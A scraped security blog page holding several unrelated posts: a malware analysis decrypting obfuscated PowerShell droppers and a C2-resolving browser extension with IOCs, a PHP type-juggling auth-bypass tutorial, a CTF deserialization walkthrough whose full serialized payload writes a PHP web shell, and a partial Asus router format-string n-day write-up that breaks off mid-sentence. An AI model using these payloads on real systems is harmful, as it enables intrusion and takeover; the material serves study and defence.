Unfortunately, the decryption wasn’t completely successful. Because the plaintext is partially correct, this told me that the xor key was correct but the substitutions used in the encryption has changed.

s = res.text\
    .replace('!', 'B')\
    .replace('@', 'X')\
    .replace('$', 'a')\
    .replace('%', 'd')\
    .replace('^', 'e')

This seemed like a small and fun cryptographic puzzle to tackle. As someone who has enjoyed doing crypto CTF challenges in the past, the idea of using cryptography “in real life” was exciting.

Cryptanalysis

Overview

Let’s formalize the problem a bit. The encryption code is something like this:

def encrypt(plaintext, xor, sub):
    ciphertext = bytes([b ^ xor for b in plaintext.encode()])
    s = base64.b64encode(ciphertext).decode()
    for a, b in sub:
        s = s.replace(a, b)
    return s

And the example we had would have been encrypted using:

encrypt(plaintext, 167 ^ 18, [
    ('B', '!'), 
    ('X', '@'), 
    ('a', '$'), 
    ('d', '%'), 
    ('e', '^')
])

Given a ciphertext, how do we retrieve the plaintext without the xor and substitution key. The solution is very simple, at a high level we want to:

  1. Figure out what characters we need to remove ['!', '%', '@', '$', '^'] and what characters we need to put back ['a', 'B', 'd', 'e', 'X'].
  2. We can search all possible xor keys and permutations of the mappings and get the most “script” looking output.

We optimize a bit by figuring out the xor key and substitution key separately but this is the solution at the very core of it.

Full code for this is in the notebook.

Getting a cleaned base64 payload

The initial bs64 payload we get may not be a valid base64 string. Because of the way the encryption was performed, we expect the ciphertext to probably have valid base64 characters missing and have some characters that are not valid base64 characters.

# hxxps://ps1-local[.]com/obfs3ip2.bs64
res = requests.get('https://urlscan.io/responses/bef9d19d1390d4e3deac31553aac678dc4abb4b2d1c8586d8eaf130c4523f356/')

ciphertext = res.text
assert 'B' not in ciphertext
assert 'a' not in ciphertext

assert '!' in ciphertext
assert '$' in ciphertext

So first we detect what are the missing characters and what are the extra characters we have in the payload.

s = "<CIPHERTEXT>"

base64_alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='

_from = list(set(s) - set(base64_alphabet))
_to   = list(set(base64_alphabet) - set(s) - set("="))

This gives us the characters that will make up the key for the substitution step.

_from = ['!', '%', '@', '$', '^']
_to   = ['a', 'B', 'd', 'e', 'X']

From here, we filter out all of the chunks of the base64 payload that contain any of the invalid characters !%@$^. This will allow us to decode part of the payload so we can perform the analysis we need for xor. This cleaned_b can now be used to retrieve the xor key.

clean_chunks = []
for idx in range(0, len(s), 4):
    chunk = s[idx:idx+4]
    if set(chunk) & set(_from):
        continue
    clean_chunks.append(chunk)

cleaned_s = ''.join(clean_chunks)
cleaned_b = b64decode(cleaned_s)

We can do this because base64 comes in chunks of 4 which represent 3 bytes in the decoded data. We can remove chunks of 4 characters in the encoded data and still decode the remaining data.

base64 chunks

XOR

The original powershell script used what is described as “two rounds of xor”. Even other documented powershell droppers used two -bxor operations.

for ($i = 0; $i -lt $x.Count; $i++) {
    $x[$i] = ($x[$i] -bxor 255) -bxor 11
}

I’m not sure why the malware authors had multiple single byte xor to decrypt the payload, but cryptographically, this is just equivalent to a single xor byte encryption. This particular topic is really basic and is probably the first lesson you’d get in a cryptography class. If you want exercises on this you can try cryptopals or cryptohack.

The main idea here is that:

  1. The search space is small, just 256 possible values for the xor key.
  2. We can use some heuristic to find the correct key.

If you only have one payload to decrypt, you can just display all 256 plaintext and visually inspect and find the correct plaintext. However, we want an automated process. Since we expect that the output is another script, then the plaintext is expected to have mainly printable (and usually alphanumeric) characters.

# Assume we have xor and alphanumeric_count functions
xor_attempts = []
for x in tqdm(range(256)):
    _b = xor(cleaned_b, x)
    xor_attempts.append((x, alphanumeric_count(_b) - len(_b)))
xor_attempts.sort(key=lambda x: -x[-1])

potential_xor_key = xor_attempts[0][0]

Brute force mapping permutations

We have the arrays _from and _to:

_from = ['!', '%', '@', '$', '^']
_to   = ['a', 'B', 'd', 'e', 'X']

And we need to find the mapping:

! -> B
@ -> X
$ -> a
% -> d
^ -> e

Since this is just 5 characters, there are only 5! or 120 permutations. This is similar to xor where we can just go through the search space and find the permutation that results in the most number of printable or alphanumeric characters. We use itertools.permutations for this.

# potential_xor_key, _from, _to from the previous steps
# assume printable_count and alphanumeric_count exists

def xor(b, x):
    return bytes([e ^ x for e in b])

def decrypt(s, x, _from, _to):
    mapping = {a: b for a, b in zip(_from, _to)}
    s = ''.join([mapping.get(e, e) for e in s])
    _b = b64decode(curr)
    return xor(_b, x)

def b64decode(s):
    # There were invalid payloads (just truncate)
    if len(s.strip('=')) % 4 == 1:
        s = s.strip('=')[:-1]
    s = s + ((4 - len(s) % 4) % 4) * '='
    return base64.b64decode(s)

attempts = []
for key in tqdm(permutations(_to)):
    _b = decrypt(s, potential_xor_key, _from, key)
    attempts.append(((key, potential_xor_key), printable_count(_b) - len(_b), alphanumeric_count(_b)))
attempts.sort(key=lambda x: (-x[-2],-x[-1]))
potential_decode_key, potential_xor_key = attempts[0][0]

And with that, we hope we have retrieved the keys needed to decrypt the payload.

Some notes on crypto

Using heuristics like printable count or alphanumeric count in the output works better for longer ciphertexts. If a ciphertext is too short, then it would be better to just brute force instead of getting the xor and substitution keys separately.

for xor_key in range(256):
   for sub_key in permutations(_to):
        _b = decrypt(s, xor_key, _from, sub_key)
        attempts.append(((sub_key, xor_key), printable_count(_b) - len(_b), alphanumeric_count(_b)))

attempts.sort(key=lambda x: (-x[-2],-x[-1]))
potential_decode_key, potential_xor_key = attempts[0][0]

This will be slower since you’d have 30720 keys to test, but since we’re only doing this for shorter ciphertexts, then this isn’t too bad.

If you assume that the first few bytes of the plaintext would be Unicode BOM \xef\xbb\xbf, the the XOR key will be very easy to recover.

Processing new samples

To get new samples, we use the urlscan API to search for all pages with .bs64 and get all the unique payloads and process each one. This can be done with a free urlscan account.

The search is page.url: *.bs64. Here is a sample script to get you started with the URLSCAN API.

import requests
import jmespath
import defang 

SEARCH_URL = "https://urlscan.io/api/v1/search/"

query = 'page.url: *.bs64'
result = requests.get(
    SEARCH_URL,
    headers=headers,
    params = {
        "q": query,
        "size": 10000
    }
)


data = []
res = result.json()
for e in tqdm(res['results']):
    _result = requests.get(e['result'], headers=headers,).json()
    hash = jmespath.search('data.requests[0].response.hash', _result)
    data.append({
        'url': defang(jmespath.search('page.url', e)),
        'task_time': jmespath.search('task.time', e),
        'hash': hash,
        'size': jmespath.search('stats.dataLength', e)
    })

    # Free urlscan is 120 results per minute
    time.sleep(1)

At the time of writing, there were a total of 220 search results in urlscan, and a total of 26 unique payloads that we processed. These payloads were generated between 2023-03-06 and 2024-09-01.

Deobfuscating scripts

The original js files are obfuscated. You can use sites such as https://obf-io.deobfuscate.io/ to do this manually. I used the obfuscator-io-deobfuscator npm package to do the deobfuscation.

deobf

Fingerprinting extensions and analyzing

I’m not really familiar with analyzing chrome extensions so analysis of the extensions won’t be deep, but the technical deep dives I’ve linked previously are very good.

What I focused on is if there are changes with the functionality of the extension over time. Simple hashing won’t help in this case because even the deobfuscated js code has variable names randomized.

const _0x56b2ef = await fetch(_0x5bfae7 + "/machine/init", {
      'method': "POST",
      'headers': {
        'Accept': "application/json, application/xml, text/plain, text/html, *.*",
        'Content-Type': "application/json"
      },
      'body': JSON.stringify(_0x22a72c)
    });

The approach I ended up taking was looking at the exported functions of each js since these are in plaintext and doesn’t seem to be randomized (unlike local variables).

For example, grep -nri "export const" . returns:

export const

Findings for this is that the following functions were added over time:

  • 2023-09-14: Add getClipperData function
  • 2024-06-23: Add createZip, getFromStorage, modifyListUsers, sendZipToServer, transformZipData, traverseDirectories, getData, etc

We can see that over time, they added fallback APIs to resolve the C2 domains. In the earliest versions of the extension we see only one method to resolve the domain.

old

In the most recent extension, we have 8 functions: GetAddresses_Blockstream, GetAddresses_Blockcypher, GetAddresses_Bitcoinexplorer, GetAddresses_Btcme, GetAddresses_Mempool, GetAddresses_Btcscan, GetAddresses_Bitcore, GetAddresses_Blockchaininfo.

old

Trustwave’s blog post mentioned that there was capabilities to use a telegram channel to exfiltrate data. In the extensions I have looked at, I see botToken and chatId in the config.js but I have not seen any code that actually uses this.

Resolving C2 domains from blockchain

The domains used for C2 are resolved from transactions in the blockchain. This is similar to more EtherHiding but here, rather than using smart contracts, they use the destination address to encode the domain. I just translated one of the many functions in the extension to resolve the script and used base58 to decrypt the domain.


blockstream = requests.get(f"https://blockstream.info/api/address/{address}/txs")\
    .json()
for e in jmespath.search('[].vout[].scriptpubkey_address', blockstream):
    try:
        domain = base58.b58decode(e)[1:21]
        if not domain.endswith(b'\x00'):
            continue
        domain = domain.strip(b'\x00').decode()
        print(domain)
    except Exception as e:
        pass

This resulted in the following resolved domains.

AdddressDomains
bc1q4fkjqusxsgqzylcagra800cxljal82k6y3ejaygzipdot[.]com
bc1qvmvz53hdauzxuhs7dkm775tlqtd9vpk8ux7mqjdot4net[.]com
bc1qtms60m4fxhp5v229kfxwd3xruu48c4a0tqwafucatin-box[.]com, you-rabbit[.]com
bc1qvkvzfla6wrem2uf4ejkuja8yp3c6f3xf72kyc9true-lie[.]com, true-bottom[.]com
bc1qnxwt7sr3rqatd6efjyym3nsgxhslyzeqndhjpnx504x[.]com, size-infinity[.]com, dark-confusion[.]com

Among these domains, only 4 of them seem to be active. If we hit the /api/machine/injections endpoint, the server responds to the request. The following looks to be active:

  • gzipdot[.]com
  • dot4net[.]com
  • catin-box[.]com
  • true-lie[.]com
13_injection_test.png

And only true-lie[.]com is flagged as malicious by VT. The other domains aren’t flagged as malicious by VT, even domains like catin-box[.]com which is a pretty old domain.

14_ioc_fn.png

Conclusion

It’s obvious that this approach will stop working if the encryption algorithm is changed by the authors of the malware (or even simpler, the attacker can just not suffix the dropper powershell script with .bs64). However, given that we have found samples that span a year, shows that the usage of some of techniques persist for quite some time.

If you are a student, or an aspiring security professional, I hope this demonstrates that there can be legitimate research or learnings just from using free tools and published information to study malware that has active infrastructure. Although if you are just starting out with security, I advise you to be cautious when handling the bad stuff.

IOCs

I’ve grouped IOCs based on what address it uses to resolve the C2 domains. There are some domains that repeat like root-head[.]com, root[.]com, and opensun[.]monster which means that the domain served versions of the malicious browser extension with different addresses.

bc1q4fkjqusxsgqzylcagra800cxljal82k6y3ejay

root-head[.]com

gzipdot[.]com

bc1qvmvz53hdauzxuhs7dkm775tlqtd9vpk8ux7mqj

root-head[.]com
two-root[.]com

dot4net[.]com

bc1qvkvzfla6wrem2uf4ejkuja8yp3c6f3xf72kyc9

opensun[.]monster
gotry-gotry[.]com
two-root[.]com

true-lie[.]com
true-bottom[.]com

bc1qnxwt7sr3rqatd6efjyym3nsgxhslyzeqndhjpn

opensun[.]monster
good2-led[.]com
wryrwhte[.]monster

x504x[.]com
size-infinity[.]com
dark-confusion[.]com

bc1qtms60m4fxhp5v229kfxwd3xruu48c4a0tqwafu

ps1-local[.]com
ps2-call[.]com
ff-rrttj[.]com
tchk-1[.]com

catin-box[.]com
you-rabbit[.]com
Posted in Cyber Attacks, Exploits, VulnerabilityTagged Cyber Attacks, Data Security, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Type Juggling and Dangers of Loose Comparisons

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Today, I want to discuss about a vulnerability that is rarely talked and often stays under the hood, yet represents a significant security issue once it’s found – ‘Type Juggling’ Vulnerability:

type_juggling_wtf

For a web application to function correctly, it needs to perform various comparison and calculation checks on the backend. These include authorizing users based on their relevant privileges, managing a password reset mechanism for users who have forgotten their passwords, validating sessions to authenticate users, and such on.

All the examples mentioned above require the use of comparison statements to achieve their functionality properly. Attackers who understand this potential may attempt to bypass these mechanisms to lead to unexpected results.

TL;DR

Programming languages like PHP support ‘loose comparison’ operators (==, !=) that interpret equality differently in if statements. This can lead to security bypass issues and present risks to the entire application.

Make sure to check and compare both the value and their type to ensure the comparison is based on strict (===, !==) comparison.

Note: In PHP versions newer than PHP 5, this issue has been resolved.

What ‘Loose Comparison’ is all about?

In languages like PHP, JavaScript, and Ruby, comparison operations are based on the values of variables rather than their types, which is known as ‘loose’ comparison.

This approach can lead to issues in certain cases, unlike ‘strict’ comparison where both value and type must be matched.

PHP Comparision Table:

To illustrate the differences between loose and strict comparison types, PHP.net 1 presents various use cases scenarios that highlight the importance of using the correct comparison operator to get the right outcomes:

php_loose_comparison_table

Loose comparisons table

Versus:

php_strict_comparison_table

Strict comparisons table

Some unexpected examples which yields True in loose comparison, whereas it yields False in strict comparison:

  • "php" == 0
  • "10 foxes on the tree" == 10
  • 0e13466324543662017 == 0e5932847

Wait, 0e123456789012345 == 0e987654321012345, seriously??

Yes, you are not wrong 😃

In ‘Type-Juggling’, strings that start with “0e” followed by digits (like “0e13466324543662017” or “0e5932847”) are considered equal to zero (0) in ‘loose comparison’.

Consider these examples:

  1. var_dump(“0e13466324543662017” == “0e5932847”); // bool(true)
  2. var_dump(“0e13466324543662017” == 0); // bool(true)
  3. var_dump(“0e5932847” == “0”); // bool(true)

This case study can play a significant role when we want to bypass comparison checks if we have control over the parameters in the equation.

MD5 Attack Scenario:

Let’s take a look at a code snippet responsible for validating the authenticated user’s cookie to grant them the appropriate privileges on the web application:

vulnerable_cookie_validation

From the attacker’s perspective, we can see that the function receives the cookie from the user’s side, which consists of three parts:

  1. Username cookie
  2. Token cookie
  3. Date Expiration cookie

We have control over the username and expiration cookie values, while the token is pulled from the database. We do not know its value because we do not own the ‘Admin’ account.

On line 14, we can see the ‘loose comparison’ operator (==), which hints at a Type-Juggling vulnerability. Let’s find a way to exploit this check to impersonate the ‘Admin’ account.

So, if we follow the rule that “0e[0-9]{10}” == “0” (pay attention to the substr in the snippet code – we need only 10 first digits match), we can make our equation evaluate to TRUE and be authenticated.

Let’s examine the following flow:

If we set “0” as the value for $cookie_token cookie and control $final_token to return a string in the format of “0e..”, we’ll be successful. But how do we get $final_token to be starting with “0e” when we only control $cookie_expiration?

The answer: Brute force technique!

The attack will require brute-forcing $cookie_expiration values until the final $final_token value begins with “0e” followed by only digits. Since we do not know the $user_token value at this point, an ‘Online Brute Force’ attack is necessary here.

I’ve developed a short Python PoC code to demonstrate that:

brute_force_python_script

The final HTTP request payload will look like this:
cookie: username=admin; token=0; expiration=1858339652;

Take into consideration that the expiration value will be different for each user depending on his $user_token value.

NULL == 0 – Oh no, Strikes Again??

Let’s take another example, but this time we’ll focus on the ‘strcmp’ function, which compares two different strings to find a match between them:

strcmp_scenario

As you can see, the function ‘login’ is receiving the user and pass arguments from the client side. It then pulls the password for the account directly from the database and compares the pulled password to the provided one using the ‘strcmp’ PHP built-in function.

So, in order to bypass this check, we need to figure out the correct password for the ‘admin’ account that we want to impersonate.

Meanwhile, on PHP.net…

While looking at the ‘strcmp’ documentation on PHP.net, we noticed some user comments warning against using this function due to its potential for ‘extremely unpredictable’ behavior caused by string comparison mismatches in certain circumstances:

php_strcmp_comment

‘strcmp’ function comments from PHP.net

What we can understand from this comment is that strcmp(NULL, “Whatever_We_Put_In”) will always return ZERO, which leads to a successful string matching and will pass the check!! 😈

So, if we able to find a way to pass a NULL value instead of the secret password, we won.

Based on the PHP.net user comments above, we can infer the following flow:
strcmp(“foo”, array()) => NULL <=> NULL == 0

Note: PHP treats NULL as 0.

If we send an array as the password parameter, PHP will treat it as an empty array, confirming the conclusion above:
https://192.168.1.100/login.php?username=admin&password[]=’’

That is ‘Type-Juggling’ attack, requires some creativity, yet it can result in devastating impact!

Conclusion

This article aims to present high risk vulnerability that we can sometimes find in the wild once we have access to the application’s source code, and may potentially risking the entire application.

This vulnerability is not new, but not many people have heard about it, and discovering it can be a game-changer for the attacker.

For additional information and materials, I highly recommend referring to ‘PayloadsAllTheThings / Type Juggling’ 2 resource.


Thanks for reading!


Disclaimer: This material is for informational purposes only, and should not be construed as legal advice or opinion. For actual legal advice, you should consult with professional legal services.

Posted in Cyber Attacks, Exploits, VulnerabilityTagged Cyber Attacks, Data Security, malware, Programming, Reverse Engineering, vulnerabilityLeave a comment

Exploring Deserialization Attacks and Their Effects

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Let’s discuss today on what Deserialization is and give a demonstration example, as it can sometimes can lead to Remote Code Execution (RCE), Privilege Escalation and additional weaknesses with severe impacts on the entire application.

This time, I was digging deep inside the Internet and discovered a cool Deseralization challenge from ‘Plaid CTF 2014’ called ‘the kPOP challenge’ which will help us better understand this vulnerability in this blog post.

Note: This challenge can be solved using two different approaches to achieve the same outcome. In this post, we chose to present one of them.

The CTF source code files can be downloaded directly from plaidctf2014 Github repo.

i_dunno_what_to_choose


Let’s get started –

Applications, in general, often rely on handling serialized data to function correctly. It’s crucial to examine how this data is deserialized to ensure it’s done safely. As attackers or researchers, we focus on instances where data is deserialized without proper validation or where serialized input is directly trusted. These deserialization opportunities, known as sinks can occur in a specific functions like unserialize() and serialize() that depend on user-provided input.

Once we understand what we’re looking for, let’s take a closer look at the application’s source code:

The first step is to identify the PHP classes used within the application and examine their relationships and interactions. This can be easily done by using the CTRL+SHIFT+F shortcut in Visual Studio Code:

vscode_classes_list

In order to better understand the relationships between kPOP classes in a more visual way, we can create a UML diagram based on the above class properties using PlantUML Editor1. This diagram represents the system’s structure and design, illustrating the various classes and their relationships, including inheritance, associations, and dependencies:

kpop_uml

kPOP UML Diagram


Once we have a basic understanding of the class relations, let’s focus on the relevant sinks that handle serialization based on user-supplied input.
Using the same method in VSCode, let’s search for all occurrences of the unserialize function in the code:

unserialize_function

The search results reveal three different occurrences, spread across two files:

  • classes.php
  • import.php

We can see that some occurrences of serialize depend on SQL return results (e.g., $row[0]), which are not influenced by user input. However, the other instances appear to be more promising for us.

We will focus on the import.php file:

unserialize_import_php

Which appears like this in the browser UI:

import_php_file

http://127.0.0.1/kPOP/import.php


Class objects are immediately get deserialized once an unserialize call is triggered. We can exploit line 5 in the image above to inject our malicious class object, which will be demonstrated later in this article.

At this stage, we have an injection entry point that depends on the provided $_POST['data'] parameter and get serialized. Let’s now take a closer look at the class declarations themselves.

When examining the code, the function that immediately caught my eye on is file_put_contents within the writeLog function, located in the LogWriter_File class inside classes.php file:

logwriter_file_put_contents

LogWriter_File declaration

To better understand its usage, I referred to the PHP.net documentation page:

file_put_contents_php

PHP.net Manual

This function can be our first primitive for finding a way to write a malicious file on the web server’s filesystem, which could serve as a web shell backdoor for executing shell commands!

So, if we can control the filename written to disk (e.g., cmd.php) and its contents, we can write PHP code such as system() function to execute any command that we want.

We need to keep this in mind as we piece together the relationships between all the other classes, much like solving a puzzle, to successfully navigate this path and create our final malicious class object 😈

To put it in a nutshell, when a class object is injected, it begins executing what are called Magic Methods. These methods follow a naming convention with double leading and trailing underscores, such as __construct() or __destruct(). We need to analyze these methods to identify which classes implement them, as they will trigger our object to execute.


Let’s continue on. In order to control the written filename, we need to identify which class holds this filename as a variable and gain control over it in our class object. This is illustrated in the following image:

logwriter_file_filename

Song class contains LogWriter_File object instance

LogWriter_File is the relevant class. In the class declaration, we can see that the $filename variable is set to our desired file name within the LogWriter_File constructor (refer to the ‘LogWriter_File Declaration’ picture).

In the same image, we can also see that the content of the file is stored in the $txt parameter within the writeLog function of the LogWriter_File class.
The $txt content is controlled by executing the log() function within the Song class, which consists of a concatenation of the name and group properties of the Song class.

To control both the filename and content of the file using the file_put_contents function, we need to follow the class calling orders and determine where and by whom the writeLog function is invoked.

Let’s illustrate this in the following picture:

flow_write_diagram

Classes calling order

We can see that the Song class is the one that initiates the entire class calling sequence to our desired file_put_contents function.


To summarize what we’ve covered so far:

  1. We need to exploit the file_put_contents functionality to write a webshell.
  2. We need to initialize the $filename variable under the LogWriter_File class with a value of cmd.php.
  3. We need to insert our malicious PHP code as a content to the cmd.php file triggered by the writeLog function.
  4. Finally, we need to invoke the correct sequence order of classes in our final payload, as shown above.
all_the_magic_happens

Let’s put all the pieces together to create the payload as a one big serialized object:

O:6:"Lyrics":2:{s:9:"*lyrics";s:12:"shell_lyrics";s:7:"*song";O:4:"Song":4:{s:9:"*logger";O:6:"Logger":1:{s:12:"*logwriter";O:14:"LogWriter_File":2:{s:11:"*filename";s:7:"cmd.php";s:9:"*format";O:13:"LogFileFormat":2:{s:10:"*filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:"*matchPattern";s:19:"/\[i\](.*)\[\/i\]/i";s:14:"*replacement";s:9:"<i>\1</i>";}}s:7:"*endl";s:1:" ";}}}s:7:"*name";s:35:"<?php system('ls -l; cat flag'); ?>";s:8:"*group";s:11:"shell_group";s:6:"*url";s:19:"https:\/\/shell.com";}}

Take note of the line s:11:"*filename";s:7:"cmd.php"; which represents our malicious filename with a .php extension, and the line s:7:"*name";s:35:"<?php system('ls -l; cat flag'); ?>"; which represents our PHP system() function to execute shell commands.


The final serialized payload to be injected as a HTTP POST parameter in base64 format wil follow:

Tzo2OiJMeXJpY3MiOjI6e3M6OToiACoAbHlyaWNzIjtzOjEyOiJzaGVsbF9seXJpY3MiO3M6
NzoiACoAc29uZyI7Tzo0OiJTb25nIjo0OntzOjk6IgAqAGxvZ2dlciI7Tzo2OiJMb2dnZXIi
OjE6e3M6MTI6IgAqAGxvZ3dyaXRlciI7TzoxNDoiTG9nV3JpdGVyX0ZpbGUiOjI6e3M6MTE6
IgAqAGZpbGVuYW1lIjtzOjc6ImNtZC5waHAiO3M6OToiACoAZm9ybWF0IjtPOjEzOiJMb2dG
aWxlRm9ybWF0IjoyOntzOjEwOiIAKgBmaWx0ZXJzIjthOjE6e2k6MDtPOjEyOiJPdXRwdXRG
aWx0ZXIiOjI6e3M6MTU6IgAqAG1hdGNoUGF0dGVybiI7czoxOToiL1xbaVxdKC4qKVxbXC9p
XF0vaSI7czoxNDoiACoAcmVwbGFjZW1lbnQiO3M6OToiPGk+XDE8L2k+Ijt9fXM6NzoiACoA
ZW5kbCI7czoxOiIKIjt9fX1zOjc6IgAqAG5hbWUiO3M6MzU6Ijw/cGhwIHN5c3RlbSgnbHMg
LWw7IGNhdCBmbGFnJyk7ID8+IjtzOjg6IgAqAGdyb3VwIjtzOjExOiJzaGVsbF9ncm91cCI7
czo2OiIAKgB1cmwiO3M6MTk6Imh0dHBzOlwvXC9zaGVsbC5jb20iO319

We can use the Online PHP Unserializer2 to visualize the encoded payload in a Class Object hierarchy:

unserialize_poc

PHP Class Object representation


And finally, gentlemen, music please — it’s time to execute our malicious serialized payload on the import.php page!

import_final_payload

The cmd.php file was created, revealing the challenge flag and the execution of our ls -l command!

challenge_flag

Conclusion

In this article, we presented a deserialization challenge that highlights how it can be exploited by malicious hackers to take over an entire application.

Those attacks have quite high entry barrier and require strong programming and research skills, making them as one of the most difficult vulnerabilities to identify in web applications. However, they have the most impactful severities once discovered.

Hope you’ve learned something new to add to your arsenal of vulnerabilities to look for during Code Review engagements.


Thanks for reading!


Disclaimer: This material is for informational purposes only, and should not be construed as legal advice or opinion. For actual legal advice, you should consult with professional legal services.

Posted in Cyber Attacks, Exploits, VulnerabilityTagged Cyber Attacks, Data Security, malware, Programming, Ransomware, Reverse Engineering, vulnerabilityLeave a comment

Hunting for Unauthenticated n-days in Asus Routers

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

TL;DR

After reading online the details of a few published critical CVEs affecting ASUS routers, we decided to analyze the vulnerable firmware and possibly write an n-day exploit. While we identified the vulnerable piece of code and successfully wrote an exploit to gain RCE, we also discovered that in real-world devices, the “Unauthenticated Remote” property of the reported vulnerability doesn’t hold true, depending on the current configuration of the device.

Intro

Last year was a great year for IoT and router security. A lot of devices got pwned and a lot of CVEs were released. Since @suidpit and I love doing research by reversing IoT stuff, and most of those CVEs didn’t have much public details or Proof-of-Concepts yet, we got the chance to apply the CVE North Stars approach by clearbluejar.

In particular, we selected the following CVEs affecting various Asus SOHO routers:

  • CVE-2023-39238
  • CVE-2023-39239
  • CVE-2023-39240

The claims in the CVEs descriptions were pretty bold, but we recalled some CVEs published months before on the same devices (eg. CVE-2023-35086) that described other format string in the same exact scenario:

“An unauthenticated remote attacker can exploit this vulnerability without privilege to perform remote arbitrary code execution”

Take careful note of those claims cause they will be the base of all our assumptions from now on!

From the details of the CVEs we can already infer some interesting information, such as the affected devices and versions. The following firmware versions contain patches for each device:

  • Asus RT-AX55: 3.0.0.4.386_51948 or later
  • Asus RT-AX56U_V2: 3.0.0.4.386_51948 or later
  • Asus RT-AC86U: 3.0.0.4.386_51915 or later

Also, we can learn that the vulnerability is supposedly a format string, and that the affected modules are set_iperf3_cli.cgi, set_iperf3_srv.cgi, and apply.cgi.

Since we didn’t have any experience with Asus devices, we started by downloading the vulnerable and fixed firmware versions from the vendor’s website.

Patch Diffing with BinDiff

Once we got hold of the firmware, we proceeded by extracting them using Unblob.

By doing a quick find/ripgrep search we figured out that the affected modules are not CGI files as one would expect, but they are compiled functions handled inside the /usr/sbin/httpd binary.

We then loaded the new and the old httpd binary inside of Ghidra, analyzed them and exported the relevant information with BinDiff’s BinExport to perform a patch diff.

A patch diff compares a vulnerable version of a binary with a patched one. The intent is to highlight the changes, helping to discover new, missing, and interesting functionality across various versions of a binary.

Patch diffing the httpd binary highlights some changes, but none turned out to be interesting to our purpose. In particular, if we take a look at the handlers of the vulnerable CGI modules, we can see that they were not changed at all.

Interestingly, all of them shared a common pattern. The input of the notify_rc function was not fixed and was instead coming from the user-controlled JSON request. :money_with_wings:

The notify_rc function is defined in /usr/lib/libshared.so: this explains why diffing the httpd binary was ineffective.

Diffing libshared.so resulted in a nice discovery: in the first few lines of the notify_rc function, a call to a new function named validate_rc_service was added. At this point we were pretty much confident that this function was the one responsible to patch the format string vulnerability.

The validate_rc_service function performs a syntax check on the rc_service JSON field. The Ghidra decompiled code is not trivial to read: basically, the function returns 1 if the rc_service string contains only alphanumeric, whitespace, or the _ and ; characters, while returns 0 otherwise.

Apparently, in our vulnerable firmware, we can exploit the format string vulnerability by controlling what ends up inside the rc_service field. We didn’t have a device to confirm this yet, but we didn’t want to spend time and money in case this was a dead-end. Let’s emulate!

Enter the Dragon, Emulating with Qiling

If you know us, we bet you know that we love Qiling, so our first thought was “What if we try to emulate the firmware with Qiling and reproduce the vulnerability there?”.

Starting from a Qiling skeleton project, sadly httpd crashes and reports various errors.

In particular, the Asus devices use an NVRAM peripheral to store many configurations. The folks at firmadyne developed a library to emulate this behavior, but we couldn’t make it work so we decided to re-implement it inside of our Qiling script.

The script creates a structure in the heap and then hijacks all the functions used by httpd to read/write the NVRAM redirecting the to the heap structure.

After that we only had to fix some minor syscalls’ implementation and hooks, and voilà! We could load the emulated router web interface from our browsers.

In the meantime we reversed the do_set_iperf3_srv_cgi/do_set_iperf3_cli_cgi functions to understand what kind of input should we send along the format string.

Turns out the following JSON is all you need to exploit the set_iperf3_srv.cgi endpoint:

1 2 3 4{ 'iperf3_svr_port': '8888', 'rc_service': '%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p' }

And we were welcomed with this output in the Qiling console:

At this point, the format string vulnerability was confirmed, and we knew how to trigger it via firmware emulation with Qiling. Moreover, we knew that the fix introduced a call to validate_rc_message in the notify_rc function exported by the libshared.so shared library. With the goal of writing a working n-day for a real device, we purchased one of the target devices (Asus RT-AX55), and started analyzing the vulnerability to understand the root cause and how to control it.

Root Cause Analysis

Since the fix was added to the notify_rc function, we started by reverse engineering the assembly of that function in the old, vulnerable version. Here follows a snippet of pseudocode from that function:

1 2 3 4 5 6 7 8 9 10 11 12int notify_rc(char *message) { // ... pid = getpid(); psname(pid,proc_name,0x10); pid = getpid(); cprintf("<rc_service> [i:%s] %d:notify_rc %s\n",proc_name,pid,message); pid = getpid(); logmessage_normal("rc_service","%s %d:notify_rc %s",proc_name,pid,message); // ... }

The function seems responsible for logging messages coming from various places through a single, centralized output sink.

The logmessage_normal function is part of the same library and its code is quite simple to reverse engineer:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15void logmessage_normal(char *logname, char *fmt, ...) { char buf [512]; va_list args; va_start(args, fmt); vsnprintf(buf,0x200,fmt_string,args); openlog(logname,0,0); syslog(0,buf); // buf can be controlled by the user! closelog(); va_end(args); return; }

While Ghidra seems unable to recognize ✨automagically✨ the variable arguments list, the function is a wrapper around syslog, and it takes care of opening the chosen log, sending the message and finally closing it.

The vulnerability lies in this function, precisely in the usage of the syslog function with a string that can be controller by the attacker. To understand why, let us inspect the signature of it from the libc manual:

void syslog(int priority, const char *format, ...);

According to its signature, syslog expects a list of arguments that resembles those of the *printf family. A quick search shows that, in fact, the function is a known sink for format string vulnerabilities.

Exploitation – Living Off The Land Process

Format string vulnerabilities are quite useful for attackers, and they usually provide arbitrary read/write primitives. In this scenario, since the output is logged to a system log that is only visible to administrators, we assume an unauthenticated remote attacker should not be able to read the log, thus losing the “read” primitive of the exploit.

ASLR is enabled on the router’s OS, and the mitigation implemented at compile-time for the binary are printed below:

Arch:     arm-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x10000)

According to this scenario, a typical way of developing an exploit would consist in finding a good target for a GOT Overwrite, trying to find a function that accepts input controlled by the user and hijacking it to system.

Nevertheless, in pure Living Off The Land fashion, we spent some time looking for another approach that wouldn’t corrupt the process internals and would instead leverage the logic already implemented in the binary to obtain something good (namely, a shell).

One of the first things to look for in the binary was a place where the system function was called, hoping to find good injection points to direct our powerful write primitive.

Among the multiple results of this search, one snippet of code looked worth more investigation:

